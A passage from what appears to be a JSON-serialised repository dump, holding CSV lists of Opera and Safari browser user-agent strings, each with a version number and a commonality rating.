Version/12.15,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 OPR/45.0.2552.888\",45,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1.1; F1f Build/LMY47V) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.94 Mobile Safari/537.36 OPR/37.0.2192.110129\",37,Uncommon\n\"Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.78 Safari/537.36 OPR/30.0.1856.93524\",30,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; en) Opera 11.62,11,Uncommon\nOpera/9.80 (Linux armv6l; U; NETRANGEMMH;HbbTV/1.1.1;CE-HTML/1.0;THOMSON LF1V394; en) Presto/2.10.250 Version/11.60,11,Uncommon\nOpera/9.80 (Android 2.3.4; Linux; Opera Mobi/ADR-1202231246; U; en-GB) Presto/2.10.254 Version/12.00,12,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36 OPR/34.0.2036.50\",34,Uncommon\nMozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Opera/12.0,12,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36 OPR/48.0.2685.39 (Edition Campaign 76)\",48,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36 OPR/44.0.2510.1449\",44,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Uncommon\nOpera/9.80 (Windows NT 10.0; Win64; x64) Presto/2.12.388 Version/39.0,39,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.132 Safari/537.36 OPR/21.0.1432.67 (Edition Campaign 47)\",21,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.19 Safari/537.36 OPR/39.0.2226.0 (Edition developer)\",39,Uncommon\nOpera/9.80 (Android 4.1.2; Linux; Opera Mobi/ADR-1301080958) Presto/2.11.355 Version/12.10,12,Uncommon\nOpera/9.80 (Linux sh4; U; HbbTV/1.1.1 (;;;;;); CE-HTML; TechniSat Digit ISIO S; de) Presto/2.9.167 Version/11.50,11,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36 OPR/30.0.1835.88\",30,Uncommon\n\"Mozilla/5.0 (Linux armv7l) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36 OPR/31.0.1890.0 OMI/4.6.1.40.Dominik2.193 VSTVB MB100 HbbTV/1.2.1 (; TOSHIBA; MB110; 2.35.8.5; ;) SmartTvA/3.0.0\",31,Uncommon\nOpera/9.80 (Windows NT 6.1; WOW64; U; Edition Indonesian Local; en) Presto/2.10.229 Version/11.64,11,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.66 Safari/537.36 OPR/25.0.1614.31 (Edition beta)\",25,Uncommon\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 OPR/41.0.2353.69 (Edition Campaign 69)\",41,Uncommon\n\"Mozilla/5.0 (Linux; Android 5.1; InFocus M350 Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Mobile Safari/537.36 OPR/34.0.2044.98679\",34,Uncommon\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36 OPR/33.0.1990.115\",33,Uncommon\n\"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.109 Safari/537.36 OPR/35.0.2066.68\",35,Uncommon\n\"Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36 OPR/47.0.2631.80\",47,Uncommon\n\"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36 OPR/36.0.2126.101812\",36,Uncommon\n\"Mozilla/5.0 (Linux; Andr0id 6.0.1; BRAVIA 2015 Build/MMB29V.S35) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36 OPR/32.0.2036.0 OMI/4.6.4.42.E103250.101\",32,Uncommon\n\"Mozilla/5.0 (Linux; Android 7.0; SM-T580 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.116 Safari/537.36 OPR/44.1.2246.123029\",44.1,Uncommon\nOpera/9.80 (Windows NT 6.1; Win64; x64; Edition Yx) Presto/2.12.388 Version/12.18,12,Uncommon\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.1; en) Opera 12.00,12,Uncommon\nOpera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.61,10,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB97/0.0.39.18 (POLAROID, Mxl661L32, wireless) VSTVB_MB97  SmartTvA/3.0.0\",12,Uncommon\n\"Opera/9.80 (Linux mips; ) Presto/2.12.407 Version/12.51 MB95/3.6.3.J (POLAROID, Si2157LG32, wireless)\",12,Uncommon\n\"Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 OPR/28.0.1750.51 (Edition Yx)\",28,Uncommon\n"
  },
  {
    "path": "User Agents/csv/safari.csv",
    "content": "ua,version,commonality\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\",9.1,Very common\n\"Mozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1\",9,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Very common\n\"Mozilla/5.0 (iPad; CPU OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1\",10,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8\",10.1,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1\",11,Very common\n\"Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G36 Safari/601.1\",9,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1\",10,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.4\",10.1,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.4\",9,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30\",10.1,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.8\",10,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E188a Safari/601.1\",9,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17\",9.1,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8\",10.1,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17\",9.1,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6\",11,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 Mobile/14G60 Safari/602.1\",10,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14\",10,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B410 Safari/600.1.4\",8,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1\",9,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38\",11,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7\",11,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7\",9,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Mobile/14C92 Safari/602.1\",10,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50\",10,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9\",8,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1\",9,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1\",9,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0.2 Safari/602.3.12\",10,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_1) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5\",11,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/601.4.4\",9,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B100 Safari/602.1\",10,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/601.5.17\",9.1,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A\",7,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10\",5.1,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/537.86.7\",9.1,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/601.7.8\",9.1,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2\",6.1,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A456 Safari/602.1\",10,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50\",10,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56\",9,Very common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_5_8) AppleWebKit/534.50.2 (KHTML, like Gecko) Version/5.0.6 Safari/533.22.3\",5,Very common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1\",10,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7\",9.1,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C153 Safari/604.1\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7\",9,Common\n\"Mozilla/5.0 (iPad; CPU OS 9_2_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13D15 Safari/601.1\",9,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G36 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14\",10,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/6.2.8 Safari/537.85.17\",6.2,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14\",10,Common\n\"Mozilla/5.0 (iPad; CPU OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.0 Mobile/14G60 Safari/602.1\",10,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G34 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.8\",10,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.2.5 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.5\",10.1,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.6.17 (KHTML, like Gecko) Version/9.1.1 Safari/601.6.17\",9.1,Common\n\"Mozilla/5.0 (iPad; CPU OS 9_3_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E238 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6\",11,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_6 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D100 Safari/604.1\",11,Common\n\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Mwendo/1.1.5 Safari/537.21\",,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50\",10,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_2 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B202 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_3 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A432 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_2 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C202 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3\",5.1,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G35 Safari/601.1\",9,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1\",10,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12\",8,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.4.8 (KHTML, like Gecko) Version/10.0.3 Safari/602.4.8\",10,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30\",10.1,Common\n\"Mozilla/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.2.5 (KHTML, like Gecko) Version/10.1.1 Safari/603.2.5\",10.1,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0.2 Safari/602.3.12\",10,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.1 Safari/603.1.30\",10.1,Common\n\"Mozilla/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8\",10.1,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53\",7,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0.2 Safari/602.3.12\",10,Common\n\"Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (iPad; CPU OS 10_0_2 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A456 Safari/602.1\",10,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0 Mobile/15D60 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPad; CPU OS 10_2 like Mac OS X) AppleWebKit/602.3.12 (KHTML, like Gecko) Version/10.0 Mobile/14C92 Safari/602.1\",10,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (iPad; CPU OS 10_1_1 like Mac OS X) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0 Mobile/14B100 Safari/602.1\",10,Common\n\"Mozilla/5.0 (iPad; CPU OS 9_3_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G34 Safari/601.1\",9,Common\n\"Mozilla/5.0 (iPad; CPU OS 6_1_3 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B329 Safari/8536.25\",6,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1\",10,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38\",11,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25\",6,Common\n\"Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.5.6 (KHTML, like Gecko) Version/11.0.3 Safari/604.5.6\",11,Common\n\"Mozilla/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit/603.2.4 (KHTML, like Gecko) Version/10.0 Mobile/14F89 Safari/602.1\",10,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_0_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A452 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.5 Safari/600.5.17\",8,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Safari/604.1.38\",11,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_2 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A421 Safari/604.1\",11,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0.2 Safari/604.4.7\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15\",11.1,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/601.7.8\",9.1,Common\n\"Mozilla/5.0 (iPad; CPU OS 9_3_4 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13G35 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25\",8,Common\n\"Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4\",8,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2\",5.1,Common\n\"Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53\",7,Common\n\"Mozilla/5.0 (iPad; CPU OS 9_0_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13A452 Safari/601.1\",9,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 11_1_1 like Mac OS X) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0 Mobile/15B150 Safari/604.1\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/604.3.5 (KHTML, like Gecko) Version/11.0.1 Safari/604.3.5\",11,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/7.1.8 Safari/537.85.17\",7.1,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/537.86.7\",9.1,Common\n\"Mozilla/5.0 (iPad; CPU OS 11_2_1 like Mac OS X) AppleWebKit/604.4.7 (KHTML, like Gecko) Version/11.0 Mobile/15C153 Safari/604.1\",11,Common\n\"Mozilla/5.0 (Smartsign Player) AppleWebKit/534.7 (KHTML, like Gecko) Safari/534.7\",,Common\n\"Mozilla/5.0 (iPad; CPU OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1\",10,Common\n\"Mozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3\",5.1,Common\n\"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1\",5,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17\",6,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.4.4 (KHTML, like Gecko) Version/9.0.3 Safari/537.86.4\",9,Common\n\"Mozilla/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13E233 Safari/601.1\",9,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/601.5.17 (KHTML, like Gecko) Version/9.1 Safari/537.86.5\",9.1,Common\n\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)\",8,Common\n\"Mozilla/5.0 